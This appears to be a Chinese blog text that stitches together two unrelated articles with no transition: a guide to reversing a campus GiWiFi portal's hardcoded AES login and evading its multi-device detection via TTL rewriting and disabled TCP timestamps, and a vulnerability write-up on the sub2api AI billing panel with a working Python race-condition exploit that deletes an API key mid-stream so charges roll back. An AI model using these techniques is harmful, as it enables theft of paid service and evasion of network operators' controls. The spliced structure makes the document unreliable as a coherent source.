学校的校园网太几把贵了，一个月49块，这次国庆返校把家里吃灰的路由器拿学校看能不能连上校园网，试了试连倒是能连上但是老断，上游应该是有多设备检测，想着手里还有个吃灰的小主机就折腾了一下

一、 硬件选型与网络拓扑

1. 硬件：Dell Wyse 3040 与 TP路由器

这次选用的软路由载体是矿渣/办公淘汰界的经典神机 —— Dell Wyse 3040 瘦客户机：

• CPU：Intel Atom x5-Z8350（4 核心 4 线程，x86_64 纯正架构）
• 内存：2GB DDR3L
• 内置闪存：板载 8GB eMMC
• 网络接口：单口千兆 RJ45（Realtek RTL8111/8168）
• 扩展接口：1x USB 3.0、3x USB 2.0、2x DisplayPort
• 功耗与发热：整机日常待机仅 3W~5W，纯被动散热无风扇，7x24 小时开机几乎不耗电且零噪音。

相比普通几十块钱的 MT7621 路由器（内存通常只有 64M/128M，跑不动复杂解释器），Wyse 3040 拥有完整的 x86_64 架构和 2GB 大内存，系统空闲内存高达 1.6GB，能够轻松跑原生 Python 3、OpenSSL、Docker、AdGuardHome 去广告和各类科学分流工具。

2. 组网架构设计：单网口旁路由 + 旁路网关全局接管

由于 Wyse 3040 只有单千兆网口，无需花冤枉钱买外接 USB 网卡，最稳定成熟的玩法是：
普通无线路由器做接入网关与 Wi-Fi AP + Wyse 3040 做旁路网关。

物理接线与双向网络拓扑

1. 硬件线路图

2. 逻辑双向流量走向图

3. 为什么这个拓扑最稳定？（双轨分离机制）

• 控制面（认证保活）：Wyse 3040 独立在后台与 172.31.0.50 对话，负责把路由器的 WAN 口 IP 变成“已认证白名单”；
• 数据面（全屋转发）：路由器负责 Wi-Fi 空口吞吐，Wyse 3040 负责在局域网内部做 TTL 篡改和 NAT 折叠，两台设备各司其职，吞吐量不打折。

核心网络参数规划

• 普通无线路由器：
  • LAN IP：192.168.1.1
  • DHCP 服务：开启，但在 DHCP 高级设置中，将 默认网关 改为 192.168.1.254，主 DNS 改为 192.168.1.254。
• **Wyse 3040 (iStoreOS)**：
  • 静态 IP：192.168.1.254（掩码 255.255.255.0，网关 192.168.1.1，DNS 223.5.5.5）；
  • DHCP 服务：关闭（勾选忽略此接口，防止双 DHCP 打架）；
  • 开启 NAT 伪装（masquerade）：这是旁路由成功的灵魂，能防止同网段不对称路由丢包。

三、 逆向：深入 GiWiFi (gportal) 认证协议

以现场抓包的山东工程职业技术大学（网关代号 jn_sdgc）GiWiFi 系统为例，其 Portal 网关位于内网 http://172.31.0.50。

1. 抓包网络流与重定向分析

当未认证设备尝试访问外网（如 http://www.baidu.com）时，网关的接入控制器（AC）会拦截请求并返回 302 重定向：

1

http://172.31.0.50/gportal/web/login?wlanuserip=172.20.59.194&wlanacname=jn_sdgc

• **wlanuserip (如 172.20.59.194)**：校园网 DHCP 分配给接入设备的内网 IP，也是认证成功后防火墙决定放行的对象；
• **wlanacname (jn_sdgc)**：区域接入控制器代号。

在网页上点击登录时，浏览器向鉴权接口发出 POST 请求：

• 接口：http://172.31.0.50/gportal/Web/loginAction
• 载荷结构：

  1	data=<超长Base64密文>&iv=519607541ee5a1df

2. 前端 JS 逆向：定位加密算法

审查 Portal 页面的 JavaScript 源码，在内联脚本中直接发现了核心加密函数 cryptoEncode：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

/**
 * 逆向捕获自 http://172.31.0.50 登录页面的原生前端加密函数
 * @param {string} data - 表单序列化后的明文字符串
 * @param {string} iv - 前端随机生成的 16 字符 Hex 偏移量
 * @returns {Object} 包含 Base64 密文与明文 iv 的对象
 */
function cryptoEncode(data, iv){
    // 1. 密钥硬编码：16 字节明文字符串，对应 AES-128 位密钥
    var key = CryptoJS.enc.Utf8.parse("1234567887654321");
    
    // 2. 将 16 字符的随机 IV 解析为 UTF-8 字节向量
    var ivv = CryptoJS.enc.Utf8.parse(iv);
    
    // 3. 执行 AES 加密：模式为 CBC，填充方式为 ZeroPadding (非标准零填充)
    var encrypted = CryptoJS.AES.encrypt(data, key, { 
        iv: ivv, 
        mode: CryptoJS.mode.CBC, 
        padding: CryptoJS.pad.ZeroPadding 
    });
    
    // 4. 将加密结果转为 Base64 编码字符串
    data = encrypted.toString();
    
    // 5. 组装发往 /loginAction 的请求体参数
    var msg = {'data': data, 'iv': iv};
    return msg;
}

整个加密算法直接明牌暴露：

1. 算法：AES-128-CBC；
2. **密钥 (Key)**：前端硬编码常量字符串 **"1234567887654321"**；
3. **偏移量 (IV)**：前端动态生成的 16 字符 Hex 字符串（如 519607541ee5a1df）；
4. 填充方式：ZeroPadding（零填充），即若明文长度不是 16 的倍数，在尾部全部填充 \x00 直到对齐。

3. 解密还原与表单明文审计

使用 Python 对抓包截获的 data 密文进行反解：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

import base64
import urllib.parse
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend

# 1. 配置逆向获取的硬编码密钥与抓包获得的 IV
key = b"1234567887654321"     # 16 字节 AES-128 密钥
iv = b"519607541ee5a1df"      # 16 字节初始化向量

# 2. 对抓包提取的 data 密文先做 URL 解码，再做 Base64 解码得到二进制密文
ciphertext = base64.b64decode(urllib.parse.unquote(raw_data))

# 3. 初始化 AES-128-CBC 解密器
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
decryptor = cipher.decryptor()

# 4. 执行解密并剔除 ZeroPadding 尾部填充的 \x00 空字节
decrypted_bytes = decryptor.update(ciphertext) + decryptor.finalize()
plaintext = decrypted_bytes.rstrip(b"\x00")

# 5. 打印还原出来的原始表单明文
print(plaintext.decode("utf-8"))

成功完整解密出原始表单结构：

1

sign=fPIcWzT7YZKGgfd7VQtNjz8Dv...&sta_vlan=&sta_port=&sta_ip=172.20.59.194&nas_ip=&nas_name=jn_sdgc&last_url=&request_ip=172.20.59.194&device_mode=Windows%20NT%2010.0&device_type=1&device_os_type=3&is_mobile=0&iv=519607541ee5a1df&login_type=1&account_type=2&user_account=15318160417&user_password=xxxxxx

至此，整个协议链条完全理清：

• 网页返回的 sign 是单次会话防重放签名；
• 设备指纹被伪装成 Windows NT 10.0 PC 端；
• 只需要动态获取 sign，填入账号密码，做一次 AES-128-CBC ZeroPadding 加密，再 POST 到 /gportal/Web/loginAction 即可实现脱机免浏览器鉴权！

四、 软路由端全自动认证与看门狗落地

Wyse 3040 搭载的 iStoreOS 采用了最新的 Alpine apk 包管理体系。在 Wyse 3040 终端中执行以下命令装载环境：

1
2

apk update
apk add python3

我们编写了一个轻量级、零第三方 Python 库依赖（纯调用系统级 OpenSSL 实现加解密）的自动化认证看门狗守护脚本，保存在 /root/gwifi_login.py。每个函数与参数均附带详尽注释：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
================================================================================
项目名称: Dell Wyse 3040 iStoreOS - GiWiFi 校园网自动认证保活守护进程
适用学校: 山东工程职业技术大学 (jn_sdgc) 及采用通用 GiWiFi gportal 网关的高校
功能特性:
  1. 纯标准库 + 系统级 OpenSSL 实现，零第三方 pip 依赖，极省资源
  2. 自动嗅探网关 302 重定向，自适应获取最新的 sta_ip (内网IP) 与 sign (防重放Token)
  3. 100% 还原前端 JS 的 AES-128-CBC + ZeroPadding 算法
  4. 支持单次认证与后台常驻看门狗模式 (每30秒心跳探测，掉线自愈)
================================================================================
"""

import os
import sys
import time
import re
import secrets
import subprocess
import urllib.request
import urllib.parse
import http.cookiejar
import json

# ============================ 核心常量配置 ============================
# GiWiFi Portal 网关内网服务器地址
PORTAL_HOST = "http://172.31.0.50"

# 从前端 JavaScript (aes.js) 逆向出来的 AES-128 对称加密密钥 (固化常量)
AES_KEY = "1234567887654321"

# ============================ 功能函数定义 ============================

def check_internet(test_host="223.5.5.5"):
    """
    通过底层 ICMP ping 探测外网连通性
    :param test_host: 探测节点 (默认阿里公共 DNS 223.5.5.5)
    :return: True 表示外网畅通，False 表示已掉线或处于认证拦截期
    """
    # -c 2: 发送2个包; -W 2: 超时时间2秒; 标准输出重定向到空设备
    ret = subprocess.run(
        ["ping", "-c", "2", "-W", "2", test_host],
        stdout=subprocess.DEVNULL,
        stderr=subprocess.DEVNULL
    )
    return ret.returncode == 0


def get_redirect_or_login_url():
    """
    自动嗅探校园网的登录跳转地址与动态参数。
    当未认证时，访问任意外部 HTTP 页面会被校园网 AC 拦截并 302 重定向到：
    http://172.31.0.50/gportal/web/login?wlanuserip=xxx&wlanacname=jn_sdgc
    """
    try:
        # 发起探测请求触发网关 302 拦截
        req = urllib.request.Request(
            "http://www.google.cn/generate_204",
            headers={"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0.0.0"}
        )
        with urllib.request.urlopen(req, timeout=3) as resp:
            # 如果发生了重定向且跳转到了 gportal，直接返回该完整 URL
            if resp.geturl() and "gportal" in resp.geturl():
                return resp.geturl()
    except Exception:
        pass
    
    # 若未被 302 拦截或外网直接无法建立连接，兜底使用标准登录入口
    return f"{PORTAL_HOST}/gportal/web/login"


def encrypt_data(plaintext_str, iv_str):
    """
    实现与前端完全一致的 AES-128-CBC + ZeroPadding (零填充) 加密
    :param plaintext_str: 待加密的明文字符串 (URL编码后的表单)
    :param iv_str: 16位 ASCII 字符的随机初始化向量 (IV)
    :return: Base64 编码的密文字符串
    """
    raw = plaintext_str.encode("utf-8")
    
    # ---------------- 步骤 1: ZeroPadding (零填充) ----------------
    # AES 是 128 位分组密码，数据块必须对齐 16 字节
    # ZeroPadding 规则: 若长度不是 16 的倍数，在末尾全部追加 \x00
    pad_len = 16 - (len(raw) % 16)
    if pad_len != 16:
        raw += b"\x00" * pad_len
        
    # ---------------- 步骤 2: 转换 Key 与 IV 为十六进制字符串 ----------------
    key_hex = AES_KEY.encode("utf-8").hex()   # "1234567887654321" -> 31323334353637383837363534333231
    iv_hex = iv_str.encode("utf-8").hex()     # 16位字符转32位hex

    # ---------------- 步骤 3: 调用系统底层 OpenSSL 执行高速度无依赖加密 ----------------
    # -aes-128-cbc: 采用 CBC 模式
    # -nopad: 禁用 OpenSSL 默认的 PKCS7 填充 (因为我们上面已手工做了 ZeroPadding)
    # -base64: 输出 Base64
    # -A: 输出单行 Base64 (防止自动追加换行符破坏 HTTP 传输)
    cmd = [
        "openssl", "enc", "-aes-128-cbc",
        "-K", key_hex,
        "-iv", iv_hex,
        "-nopad",
        "-base64", "-A"
    ]
    p = subprocess.Popen(cmd, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    out, err = p.communicate(input=raw)
    return out.decode("ascii").strip()


def do_login(username, password):
    """
    执行完整的单次校园网认证请求闭环
    :param username: 校园网宽带账号 (通常为手机号)
    :param password: 校园网宽带密码
    :return: True 登录成功, False 登录失败
    """
    print(f"[{time.strftime('%Y-%m-%d %H:%M:%S')}] 正在发起 GiWiFi 校园网认证...")
    
    # 启用 Cookie 容器，用于在第一步 GET 与第二步 POST 间维系 PHPSESSID 会话
    cj = http.cookiejar.CookieJar()
    opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
    
    # 获取网关最新登录地址 (自动带上当时的 wlanuserip)
    login_url = get_redirect_or_login_url()
    
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Accept-Language": "zh-CN,zh;q=0.9"
    }
    
    # ---------------- 步骤 A: 抓取登录页面，提取动态防重放 Token ----------------
    try:
        req = urllib.request.Request(login_url, headers=headers)
        with opener.open(req, timeout=5) as resp:
            html = resp.read().decode("utf-8", "ignore")
    except Exception as e:
        print(f"拉取登录页失败: {e}")
        return False
        
    def get_input_val(name):
        """正则匹配提取 HTML 表单中的隐藏 input 字段值"""
        m = re.search(r'name=["']' + name + r'["']\s+value=["']([^"']*)["']', html)
        return m.group(1) if m else ""
        
    # 从 HTML 中解析出的关键隐藏参数
    sign = get_input_val("sign")                 # 服务器下发的单次动态签名 Token
    sta_ip = get_input_val("sta_ip")             # 客户端当前校园网内网 IP (例如 172.20.59.194)
    nas_name = get_input_val("nas_name") or "jn_sdgc"  # 接入控制器标识
    request_ip = get_input_val("request_ip") or sta_ip
    
    if not sign:
        print("未检测到有效 sign，可能已处于登录放行状态或网关异常")
        return False
        
    # ---------------- 步骤 B: 生成随机 IV 与构建明文表单 ----------------
    # 随机生成 8 个字节的十六进制字符串 (16 个 ASCII 字符，作为 AES IV)
    iv = secrets.token_hex(8)
    
    # 严格按照网页端 loginForm 的字段顺序与参数组装
    form_params = [
        ("sign", sign),                      # 动态防重放签名
        ("sta_vlan", ""),                    # VLAN 标识 (默认空)
        ("sta_port", ""),                    # 端口标识 (默认空)
        ("sta_ip", sta_ip),                  # 待放行的客户端内网 IP
        ("nas_ip", ""),                      # NAS IP (默认空)
        ("nas_name", nas_name),              # 控制器名称: jn_sdgc
        ("last_url", ""),                    # 跳转来源 (默认空)
        ("request_ip", request_ip),          # 请求来源 IP
        ("device_mode", "Windows NT 10.0"),  # 设备型号: 伪装为 Win10 单机
        ("device_type", "1"),                # 设备类型: 1 (PC端)
        ("device_os_type", "3"),             # 系统类别: 3 (Windows)
        ("is_mobile", "0"),                  # 是否手机: 0 (否)
        ("iv", iv),                          # 当前加密使用的随机 IV
        ("login_type", "1"),                 # 登录方式: 1 (账号密码)
        ("account_type", "2"),               # 账号类型: 2 (学生/正式用户)
        ("user_account", username),          # 你的宽带手机号/学号
        ("user_password", password)          # 你的宽带登录密码
    ]
    
    # 序列化为类似 sign=xxx&sta_ip=xxx 的标准 URL 编码字符串
    serialized = urllib.parse.urlencode(form_params)
    
    # ---------------- 步骤 C: 执行 AES 加密 ----------------
    encrypted_data = encrypt_data(serialized, iv)
    
    # ---------------- 步骤 D: 发送 POST 请求到网关鉴权接口 ----------------
    post_body = urllib.parse.urlencode({
        "data": encrypted_data,  # Base64 密文
        "iv": iv                 # 明文传输 IV (供后端对称解密使用)
    }).encode("utf-8")
    
    post_headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
        "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
        "X-Requested-With": "XMLHttpRequest",
        "Origin": PORTAL_HOST,
        "Referer": login_url
    }
    
    try:
        post_req = urllib.request.Request(
            f"{PORTAL_HOST}/gportal/Web/loginAction",
            data=post_body,
            headers=post_headers
        )
        with opener.open(post_req, timeout=5) as resp:
            res = json.loads(resp.read().decode("utf-8", "ignore"))
            # 网关返回 status 为 1 表示认证成功，放通外网
            if res.get("status") in (1, "1"):
                print("【登录成功】校园网已成功放通外网！")
                return True
            else:
                print(f"【登录失败】网关提示: {res.get('info', '未知错误')}")
                return False
    except Exception as e:
        print(f"POST 请求发送异常: {e}")
        return False


def daemon_loop(username, password, interval=30):
    """
    后台常驻看门狗守护循环: 定期探测网络，掉线自动执行静默重登
    :param username: 校园网账号
    :param password: 校园网密码
    :param interval: 心跳检测间隔 (默认 30 秒)
    """
    print(f"GiWiFi 看门狗守护已就绪！检测周期: {interval}s，保活账号: {username}")
    while True:
        # 检测外网连通性
        if not check_internet():
            print(f"[{time.strftime('%Y-%m-%d %H:%M:%S')}] 探测到外网中断，执行自愈认证...")
            do_login(username, password)
        # 休眠等待下一轮探测
        time.sleep(interval)


# ============================ 脚本入口执行 ============================
if __name__ == "__main__":
    if len(sys.argv) < 3:
        print("=" * 60)
        print("用法:")
        print("  1. 单次手动登录: python3 gwifi_login.py <账号> <密码>")
        print("  2. 后台守护运行: python3 gwifi_login.py <账号> <密码> --daemon")
        print("=" * 60)
        sys.exit(1)
        
    user, pwd = sys.argv[1], sys.argv[2]
    
    # 守护模式
    if len(sys.argv) >= 4 and sys.argv[3] == "--daemon":
        daemon_loop(user, pwd)
    # 单次执行模式
    else:
        sys.exit(0 if do_login(user, pwd) else 1)

开机自启配置

编辑 Wyse 3040 的 /etc/rc.local，在 exit 0 前加入以下指令：

1
2

# 校园网自动认证看门狗: 开机静默后台拉起，标准输出重定向到空设备
nohup python3 /root/gwifi_login.py 你的账号 你的密码 --daemon > /dev/null 2>&1 &

现在，即便宿舍半夜断电、断网重拨，开机后 Wyse 3040 都会在后台默默拉起看门狗，30 秒内秒级自愈。

五、 宿舍防封与多设备对抗机制

宿舍挂路由器最怕被运营商多设备检测抓现行。针对校园网常见的特征探测，我们在软路由上构建了四重防御体系：

1. 认证层：单点代登

在登录报文里，Wyse 3040 永远将自身伪装为单一的 Windows NT 10.0 桌面终端。网关数据库里记录的永远只有 1 台电脑在线，其他手机和平板根本不产生鉴权请求。

2. 路由层：TTL 跳数绝对锁定

普通路由器 NAT 转发时会将 IP 包的 TTL 减 1（64 变成 63，128 变成 127），运营商网关一旦抓到 63/127 会立刻断定下挂了路由器。
我们在 Wyse 3040 的防火墙自定义规则中加入：

1
2

# 将所有从本地出网的数据包 TTL 强制写死为 64，抹除 NAT 减 1 痕迹
iptables -t mangle -A POSTROUTING -j TTL --ttl-set 64

无论内网挂了多少台设备，所有出网的数据包 TTL 统一被强行改写为标准的 64，彻底抹平多跳路由特征。

3. 系统层：禁用 TCP Timestamps

不同设备的操作系统时钟频率（晶振斜率）不同，深度包检测系统会通过 TCP 时间戳统计多设备并发。
在 Wyse 3040 执行：

1
2
3
4
5

# 立即临时禁用全局 TCP 时间戳
sysctl -w net.ipv4.tcp_timestamps=0

# 持久化固化到内核配置文件，重启不失效
echo "net.ipv4.tcp_timestamps=0" >> /etc/sysctl.conf

直接关闭 TCP 时间戳，彻底切断时钟特征探测。

4. 应用层：旁路由 NAT 折叠

全宿舍设备连上普通路由器的 Wi-Fi，数据包全部自动下发到旁路网关 192.168.1.254，经过 NAT Masquerade 伪装后由单一出口统一转发出去，合多为一。

一、目标是什么

sub2api 是一套开源的 AI API 中转面板，Go 写的后端 + PostgreSQL，前端是 Vue。它做的事情就是：把上游各家（OpenAI / Anthropic / Gemini / Grok）的账号聚成一个池子，对外暴露统一接口，用户拿它签发的 Key 来调用，按量扣钱。

对外接口是标准的：

1
2
3
4
5

POST /v1/chat/completions     # OpenAI 兼容
POST /v1/messages             # Anthropic 兼容
POST /v1/responses            # OpenAI Responses
POST /v1/embeddings
POST /v1/images/generations

用户侧有两套鉴权：

计费模式有三种：余额扣费（standard）、订阅配额、以及 Key 自身的 quota 限额。这三样在落账时都要更新。

二、正常的计费流程长什么样

一次请求的完整链路：

1
2
3

客户端 → 网关鉴权 → 选账号 → 转发上游 → 拿 usage → 落账 → 返回
                                        ↑
                                  这里才扣钱

注意最后一步：扣钱发生在响应体读完之后。因为只有拿到上游返回的 token 用量，才知道该扣多少。

落账的入口在 backend/internal/service/gateway_usage_billing.go：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

func applyUsageBilling(ctx context.Context, requestID string, usageLog *UsageLog,
    p *postUsageBillingParams, deps *billingDeps, repo UsageBillingRepository) (bool, error) {

    cmd := buildUsageBillingCommand(requestID, usageLog, p)
    if cmd == nil || cmd.RequestID == "" || repo == nil {
        postUsageBilling(ctx, p, deps)   // 降级兜底路径
        return true, nil
    }

    billingCtx, cancel := detachedBillingContext(ctx)
    defer cancel()

    result, err := repo.Apply(billingCtx, cmd)   // ← 真正落账
    if err != nil {
        return false, err
    }
    ...
}

再往下是 backend/internal/repository/usage_billing_repo.go 的 Apply，一个标准的事务包裹：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

func (r *usageBillingRepository) Apply(ctx context.Context, cmd *service.UsageBillingCommand) (*service.UsageBillingApplyResult, error) {
    tx, err := r.db.BeginTx(ctx, nil)
    if err != nil {
        return nil, err
    }
    defer func() {
        if tx != nil {
            _ = tx.Rollback()        // ← 出错就整体回滚
        }
    }()

    // 1) 请求级去重（幂等闸）
    applied, err := r.claimUsageBillingKey(ctx, tx, cmd)
    if err != nil {
        return nil, err
    }
    if !applied {
        return &service.UsageBillingApplyResult{Applied: false}, nil
    }

    // 2) 扣钱 + 记账
    result := &service.UsageBillingApplyResult{Applied: true}
    if err := r.applyUsageBillingEffects(ctx, tx, cmd, result); err != nil {
        return nil, err
    }

    if err := tx.Commit(); err != nil {
        return nil, err
    }
    tx = nil
    return result, nil
}

到这里都挺正常。问题出在第 2 步 applyUsageBillingEffects 里面。

三、根因：同一个事务里，扣钱在前、记账在后

把 applyUsageBillingEffects 摊开看（漏洞版本）：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

func (r *usageBillingRepository) applyUsageBillingEffects(ctx context.Context, tx *sql.Tx,
    cmd *service.UsageBillingCommand, result *service.UsageBillingApplyResult) error {

    // ① 订阅用量累加
    if cmd.SubscriptionCost > 0 && cmd.SubscriptionID != nil {
        if err := incrementUsageBillingSubscription(ctx, tx, *cmd.SubscriptionID, cmd.SubscriptionCost); err != nil {
            return err
        }
    }

    // ② 扣用户余额  ← 先扣钱
    if cmd.BalanceCost > 0 {
        newBalance, sufficient, err := deductUsageBillingBalance(ctx, tx, cmd.UserID, cmd.BalanceCost)
        if err != nil {
            return err
        }
        result.NewBalance = &newBalance
        result.BalanceOverdrafted = !sufficient
    }

    // ③ 累加 Key 自身配额  ← 后记账，依赖 api_keys 行存在
    if cmd.APIKeyQuotaCost > 0 {
        exhausted, err := incrementUsageBillingAPIKeyQuota(ctx, tx, cmd.APIKeyID, cmd.APIKeyQuotaCost)
        if err != nil {
            return err                      // ★ 这里
        }
        result.APIKeyQuotaExhausted = exhausted
    }

    // ④ 累加 Key 限速用量
    if cmd.APIKeyRateLimitCost > 0 {
        if err := incrementUsageBillingAPIKeyRateLimit(ctx, tx, cmd.APIKeyID, cmd.APIKeyRateLimitCost); err != nil {
            return err                      // ★ 还有这里
        }
    }

    // ⑤ 账号配额
    if cmd.AccountQuotaCost > 0 && (...) {
        ...
    }

    return nil
}

关键在 ③ 和 ④ 的实现。它们都是 UPDATE api_keys ... WHERE id = $2 AND deleted_at IS NULL：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

func incrementUsageBillingAPIKeyQuota(ctx context.Context, tx *sql.Tx, apiKeyID int64, amount float64) (bool, error) {
    var exhausted bool
    err := tx.QueryRowContext(ctx, `
        UPDATE api_keys
        SET quota_used = quota_used + $1,
            status = CASE ... END,
            updated_at = NOW()
        WHERE id = $2 AND deleted_at IS NULL     -- ← 只看未删除的行
        RETURNING quota > 0 AND quota_used >= quota AND quota_used - $1 < quota
    `, amount, apiKeyID, ...).Scan(&exhausted)

    if errors.Is(err, sql.ErrNoRows) {
        return false, service.ErrAPIKeyNotFound   // ← Key 不存在/已删，报错
    }
    ...
}

func incrementUsageBillingAPIKeyRateLimit(ctx context.Context, tx *sql.Tx, apiKeyID int64, cost float64) error {
    res, err := tx.ExecContext(ctx, `
        UPDATE api_keys SET usage_5h = ..., usage_1d = ..., usage_7d = ...
        WHERE id = $2 AND deleted_at IS NULL
    `, cost, apiKeyID)
    ...
    if affected == 0 {
        return service.ErrAPIKeyNotFound          // ← 同上
    }
    return nil
}

于是链条闭合了：

1
2
3
4
5
6
7
8
9
10
11
12
13

扣余额（②）已经写进事务
      ↓
累加 Key 配额（③）UPDATE 命中 0 行
      ↓
返回 ErrAPIKeyNotFound
      ↓
applyUsageBillingEffects 直接 return err
      ↓
Apply 里 return nil, err
      ↓
defer 里的 tx.Rollback()
      ↓
② 扣掉的余额被一起撤销  →  这单白嫖

这就是根因：扣钱和记账在同一个事务里，但顺序是「先扣钱、后记账」，而记账那一步依赖于 Key 行仍然存在。 把 Key 删掉，记账失败，事务回滚，钱就退回来了。

顺带说一句，Apply 的第一步 claimUsageBillingKey 其实只是个请求级幂等去重，往 usage_billing_dedup 插一条 (request_id, api_key_id)，跟这个漏洞没关系 —— 它也在同一个事务里，回滚时一起被撤销了。所以别指望用 X-Client-Request-ID 之类的请求头去撞去重表：request_id 是服务端生成的 UUID，客户端控制不了。

四、利用：抢在落账之前把 Key 删掉

既然根因是「落账时 Key 必须还在」，那利用思路就很直接了：

请求发出去之后、落账开始之前，把 Key 删掉。

时序窗口在这里：

1
2
3
4
5
6
7
8

t0  ├─ 建一个带 quota 的临时 Key
t1  ├─ 用它发起一个长流式请求（stream=true）
    │        ↓ 上游开始吐 token（这期间 Key 必须还在，否则鉴权就挂了）
t2  ├─ 请求还在途，面板上调 DELETE /api/v1/keys/{id}   ★ 抢跑
    │        ↓ api_keys.deleted_at = NOW()
t3  ├─ 上游跑完，返回 usage
t4  └─ 服务端落账：扣余额 ✅ → 累加 Key 配额 ❌ ErrAPIKeyNotFound → 事务回滚
    └─ 余额零变化

注意 t2 的位置很讲究：必须等请求已经通过鉴权、上游已经开始生成之后再删。删早了，网关鉴权那一步就直接 401 了。

面板的删除接口是软删，而且会顺手把 key 字段写成 tombstone：

1
2

SET key = $1, deleted_at = NOW(), updated_at = NOW()
WHERE id = $2 AND deleted_at IS NULL

所以删掉的 Key 立刻不能再用于鉴权 —— 这正好，反正后面也不用它了。

PoC 核心逻辑

去掉参数解析和日志之后，利用逻辑就这么多：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

import threading, time, requests

BASE = "https://target.example"

def create_key(jwt, group_id, quota=1.0):
    """建一个带 quota 的临时 Key，返回 (key_id, secret)"""
    r = requests.post(f"{BASE}/api/v1/keys",
                      headers={"Authorization": f"Bearer {jwt}"},
                      json={"name": "tmp", "group_id": group_id, "quota": quota})
    d = r.json()["data"]
    return d["id"], d["key"]          # 明文 key 只在创建时返回一次

def delete_key(jwt, key_id):
    requests.delete(f"{BASE}/api/v1/keys/{key_id}",
                    headers={"Authorization": f"Bearer {jwt}"})

def exploit(jwt, group_id, model, delete_after=0.15):
    bal_before = get_balance(jwt)

    key_id, secret = create_key(jwt, group_id, quota=1.0)

    # 抢跑删除：请求派发后 N 秒就删，不等响应头
    def killer():
        time.sleep(delete_after)
        delete_key(jwt, key_id)

    threading.Thread(target=killer, daemon=True).start()

    # 长流式请求，务必 stream=true —— 落账在响应读完之后
    with requests.post(f"{BASE}/v1/chat/completions",
                       headers={"Authorization": f"Bearer {secret}"},
                       json={"model": model, "stream": True,
                             "max_tokens": 4096,
                             "messages": [{"role": "user", "content": "写一篇 2000 字的长文"}]},
                       stream=True, timeout=600) as r:
        for _ in r.iter_lines():
            pass                       # 把流读干净，让服务端走到落账

    time.sleep(5)                      # 等异步落账完成
    bal_after = get_balance(jwt)

    print(f"余额 {bal_before} -> {bal_after}  (变化 {bal_after - bal_before})")
    return bal_after - bal_before

跑出来余额变化是 0，同时 /api/v1/usage 里能看到这次请求的记录 —— 调用记录在，钱没扣。

五、不是所有模型都能绕

这是这个漏洞最有意思的地方 —— 它挑模型。

同一套利用代码，换个模型结果就完全不一样：

原因很简单：落账发生在响应结束之后。 请求跑得越快，落账来得越早，抢跑删除就越容易输给落账事务。

• 快模型 4~8 秒跑完 → 你还在等删 Key 的网络往返，事务已经 Commit 了 → 照常扣费
• 慢模型 20 秒以上 → 有充足时间把 Key 删掉 → 事务回滚 → 免单

所以「抢跑删除」的延迟得调：等响应头再删基本必输，得请求一派发就开始计时。实战里 0.15 ~ 0.3s 这个区间比较稳。

但这里有个反噬：如果抢跑输了，钱就真扣了。 而扣余额的 SQL 是允许透支的：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

func deductUsageBillingBalance(ctx context.Context, tx *sql.Tx, userID int64, amount float64) (float64, bool, error) {
    // 第一段：够扣就正常扣
    err := tx.QueryRowContext(ctx, `
        UPDATE users SET balance = balance - $1, updated_at = NOW()
        WHERE id = $2 AND deleted_at IS NULL AND balance >= $1
        RETURNING balance
    `, amount, userID).Scan(&newBalance)
    if err == nil {
        return newBalance, true, nil
    }
    if !errors.Is(err, sql.ErrNoRows) {
        return 0, false, err
    }

    // 第二段：不够扣也照扣，标记为透支
    err = tx.QueryRowContext(ctx, `
        UPDATE users SET balance = balance - $1, updated_at = NOW()
        WHERE id = $2 AND deleted_at IS NULL
        RETURNING balance
    `, amount, userID).Scan(&newBalance)
    ...
    return newBalance, false, nil     // sufficient = false
}

